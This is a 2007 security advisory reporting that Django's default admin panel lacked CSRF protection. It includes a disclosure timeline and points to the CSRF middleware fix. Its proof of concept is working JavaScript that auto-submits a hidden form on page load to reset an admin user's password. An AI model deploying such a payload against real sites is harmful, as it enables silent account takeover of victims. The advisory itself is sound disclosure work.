django-csrf.txt

`  
Author: J. Carlos Nieto.  
Date: Oct 21, 2007  
  
There exists a security hole in the default django's admin panel.  
  
Background  
==========  
Django is a high-level Python Web framework that encourages rapid  
development and clean, pragmatic design.  
Django has an automatic admin panel that allows a person with admin  
privileges to modify the database tables, it allows to change any user  
password too.  
See more at http://www.djangoproject.com  
  
Summary  
=======  
django has, by default, no CSRF protection, this may allow an attacker  
to change any user password by tricking a victim with admin privileges  
into a special forged web page (even in a a totally different server)  
that sends a request to change the password of the user with id = n. The  
victim does not know that the form was sent. If the victim has admin  
privileges the exploit will succeed, otherwise nothing will happen.  
  
Severity  
========  
Mild. This problem exists only with the default installation and can be  
easily solved using a middleware found in here:  
http://www.djangoproject.com/documentation/csrf/.  
  
Proof of concept  
================  
<script type="text/javascript">  
window.onload = function() {  
var url = "http://127.0.0.1:8000/admin/auth/user/1/password/";  
  
var pass = "funky";  
  
var param = {  
password1: pass,  
password2: pass  
};  
  
var form = document.createElement('form');  
form.action = url;  
form.method = 'post';  
form.target = 'hidden';  
form.style.display = 'none';  
  
for (var i in param) {  
try {  
// ie  
var input = document.createElement('<input name="'+i+'">');  
} catch(e) {  
// other browsers  
var input = document.createElement('input');  
input.name = i;  
}  
input.setAttribute('value', param[i]);  
form.appendChild(input);  
}  
document.body.appendChild(form);  
  
form.submit();  
}  
</script>  
  
<iframe name="hidden" style="display: none"></iframe>  
  
  
Solution  
========  
Use the django's CSRF protection in all your applications. Take a look  
at http://www.djangoproject.com/documentation/csrf/.  
  
  
Disclosure Timeline  
===================  
2007.10.18 - Vulnerability found  
2007.10.18 - Vulnerability reported to vendor  
2007.10.18 - Vendor response  
2007.10.21 - Advisory release  
  
License  
=======  
  
Copyright 2007 J. Carlos Nieto  
  
The contents of this document are licensed under the Creative Commons -  
Attribution / Share Alike license.  
  
`